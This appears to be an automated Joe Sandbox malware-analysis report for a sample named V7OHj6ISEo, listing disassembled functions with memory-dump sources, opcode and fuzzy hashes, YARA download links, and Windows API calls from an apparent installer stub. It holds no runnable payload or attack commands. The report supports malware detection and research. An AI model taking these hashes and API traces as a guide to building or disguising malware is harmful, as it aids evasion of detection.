Instruction ID: 7212475a354d5a922f6e397c9e0a37b7a9403e5833926972e81b5d49d0e11d03
Opcode Fuzzy Hash: 7c7bf6db8620ce5ef45a23a9c2303739cec4e19cc86547270332ed3c5e3acbbe
Instruction Fuzzy Hash: BCC19174E00218CFEB58DFA5D994B9DBBB2AF89300F1081A9D809BB355DB359E85CF50

Function 37D13B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7b7d3f5a2d76b64d1e6042f5c7a2f9940c5bd9dc8d6281cd1c4d9776a764ef
Instruction ID: 89a7b5d10f60a8bcc6503265319cc0970fab2beded5c2c055cabd50f831dc700
Opcode Fuzzy Hash: 5d7b7d3f5a2d76b64d1e6042f5c7a2f9940c5bd9dc8d6281cd1c4d9776a764ef
Instruction Fuzzy Hash: D3C1A174E00218CFDB58DFA9D994B9DBBB2AF89300F1081A9D809BB355DB359E85CF50

Function 37D15AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb3aa605fe31263cc31f5445de5765965a65a4ec0ccf3e9176dfad967f8d233e
Instruction ID: 0597bf4e71553b4a607a5b5ba59cdebe4ba425a818bc418cfce1686675366098
Opcode Fuzzy Hash: eb3aa605fe31263cc31f5445de5765965a65a4ec0ccf3e9176dfad967f8d233e
Instruction Fuzzy Hash: 28C1B074E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809AB355DB359E85CF50

Function 37D13268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a2bb24a9ac46bd9a872327858c9f68970533e8ac7cb31c28c2621dd4cf3861
Instruction ID: a3463de6433718f394d857b8329a84dd3d7e83555d8a6e0a6cd76c2cb5f86496
Opcode Fuzzy Hash: 33a2bb24a9ac46bd9a872327858c9f68970533e8ac7cb31c28c2621dd4cf3861
Instruction Fuzzy Hash: 21C19174E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809BB355DB359E85CF50

Function 37D15208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ffa1d323de53f4f35a3cf17cd2302a30c246eed8a1259cde8095d72d71132b
Instruction ID: b4eaa2f91d4b5d3961d5f76c4259756ed8193f7161bab3abc30868106ee99c11
Opcode Fuzzy Hash: 54ffa1d323de53f4f35a3cf17cd2302a30c246eed8a1259cde8095d72d71132b
Instruction Fuzzy Hash: CAC1B274E00218CFDB58DFA5D994B9DBBB2AF89300F2081A9D809BB355DB355E85CF50

Function 37D129B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd54922f65f0ec3d9a79655b25d54d66cc5d530cd4bdcb8c5ea59e469a9a2b6
Instruction ID: 05c6a7fcc41edf3aceb7f93c16ba0736933273b7b50031a5c8c8dbf4c578d119
Opcode Fuzzy Hash: 0fd54922f65f0ec3d9a79655b25d54d66cc5d530cd4bdcb8c5ea59e469a9a2b6
Instruction Fuzzy Hash: 6BC19174E00218CFDB58DFA5D994B9DBBB2BF89300F1081A9D809AB355DB355A85CF50

Function 37D12108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d20e23e5fff14d27bd4ad11a63426fb7ace77df29c307867de664844161e8f4b
Instruction ID: 713a9a81ab0c06e113c3e516e4dc4f75c61cfdbe02b043914e462dca71c953b6
Opcode Fuzzy Hash: d20e23e5fff14d27bd4ad11a63426fb7ace77df29c307867de664844161e8f4b
Instruction Fuzzy Hash: 0DC19274E00218CFDB58DFA5D994B9DBBB2BF89300F1081A9D809AB355DB356E85CF50

Function 37D11858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a147b7b0199010dc036eb209517b142a44492579980d444922c94d083f7d85af
Instruction ID: ef7a3f9b5b069aede0be8578f8aec9f538542084b8ed9b225de6dc2afccc7b33
Opcode Fuzzy Hash: a147b7b0199010dc036eb209517b142a44492579980d444922c94d083f7d85af
Instruction Fuzzy Hash: B5C1A174E00218CFDB58DFA5D994B9DBBB2AF89300F1081A9D809BB355DB359E86CF50

Function 37D17070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d1206d9bf2c86dbe7736929b9dbdd8dfe72d9ed993fba07e16af07f13bb22e
Instruction ID: 302aa6d8bf660aad9f9ae2ffb6e01442a8f311a3158a99903de47034aaaa195f
Opcode Fuzzy Hash: b0d1206d9bf2c86dbe7736929b9dbdd8dfe72d9ed993fba07e16af07f13bb22e
Instruction Fuzzy Hash: CEC19174E00218CFDB58DFA5D994B9DBBB2BF89300F2081A9D809AB355DB359A85CF50

Function 37D14820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23338c21f336fd61e5047fdb76bca800bebe4c3134cc92ac17dfee4008836b2
Instruction ID: af1ffebf0cd7f724797e597f78ea6081ac453937bb55896fcddaf02bb9234d86
Opcode Fuzzy Hash: d23338c21f336fd61e5047fdb76bca800bebe4c3134cc92ac17dfee4008836b2
Instruction Fuzzy Hash: 48C1B074E00218CFDB58DFA5D994B9DBBB2AF89300F1081A9D809AB355DB355E86CF50

Function 350CE79F Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d67e7bd807d0344ec99658df0797d625365404c9fa42b9c7a0e08005ceb7655
Instruction ID: d02e189cc2f7f467954332238ff8f14f21d90a841b1bc3e231dd4778414d9359
Opcode Fuzzy Hash: 2d67e7bd807d0344ec99658df0797d625365404c9fa42b9c7a0e08005ceb7655
Instruction Fuzzy Hash: C1C1A174E00218CFEB18DFA5D995B9DBBB2BF89300F2081A9D809BB355DB355A85CF50

Function 350CEBF7 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1cebe72927806b28149001c281c9a6664eeba6785b1a2d523429fb5a0c83fda
Instruction ID: d6badf363b4199d58ecd48314961849282528e7fe46d9ab19e6371d16ebb0b3d
Opcode Fuzzy Hash: b1cebe72927806b28149001c281c9a6664eeba6785b1a2d523429fb5a0c83fda
Instruction Fuzzy Hash: 7BC19274E00218CFDB18DFA5D995B9DBBB2BF89300F1081A9D809BB355DB355A86CF50

Function 350CC1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5076469e326544e0227b25d9faa1307e220fb55f55e0beb731205658bea7b65
Instruction ID: 775477e9f96194dda7763678f1d4cc362748b8d6b5cb9aaad22ae1414e0b992c
Opcode Fuzzy Hash: b5076469e326544e0227b25d9faa1307e220fb55f55e0beb731205658bea7b65
Instruction Fuzzy Hash: E0C19174E00218CFDB18DFA5D994B9DBBB2BF89300F6081A9D819BB355DB355A86CF10

Function 350CB4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc4b35ffae44585586e2fe384765a1a1aaa3d1d1c56ccf1c79b79a94a5751753
Instruction ID: 3244e17bc1b60ecffb6dfd1a7124fc613a867af8534c4a1a8c8811e73af99bdf
Opcode Fuzzy Hash: cc4b35ffae44585586e2fe384765a1a1aaa3d1d1c56ccf1c79b79a94a5751753
Instruction Fuzzy Hash: D6C19174E00218CFDB18DFA5D994B9DBBB2BF89300F6081A9D809BB355DB355A85CF10

Function 350CB944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2563046356.00000000350C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 350C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_350c0000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a80608394077a80cfb21176caa5c915392b11da55b104e35b31340d886b93107
Instruction ID: b7727ebf7c8c6e01cbbabf307d8024bafc11676a40f08c4fa7992d46a48ca783
Opcode Fuzzy Hash: a80608394077a80cfb21176caa5c915392b11da55b104e35b31340d886b93107
Instruction Fuzzy Hash: BFC1A074E00218CFDB18DFA5D995B9DBBB2BF89300F6081A9D809BB355DB359A85CF10

Function 3824F5D8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72b0e5988bec005f8e8a3b9644efd73e94764d04a3e41ad3805eaf9e18c95194
Instruction ID: f7a1635006e758c036034953f9137d216621c23f8bffdfb37e085e2208037409
Opcode Fuzzy Hash: 72b0e5988bec005f8e8a3b9644efd73e94764d04a3e41ad3805eaf9e18c95194
Instruction Fuzzy Hash: A6D09E75E1421C8BCB25DFA8E8402ECF770EBAA311F0124E6D54DBB210D7715A918F56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,771B3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

.exe, xrefs: 00403BE6
.DEFAULT\Control Panel\International, xrefs: 00403B44
_Nb, xrefs: 00403C5C, 00403CC4
RichEd32, xrefs: 00403D14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
RichEdit, xrefs: 00403D33
(7B, xrefs: 00403B04
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd20, xrefs: 00403D06

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000007.00000002.2539011013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2538972176.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539052327.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539096411.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
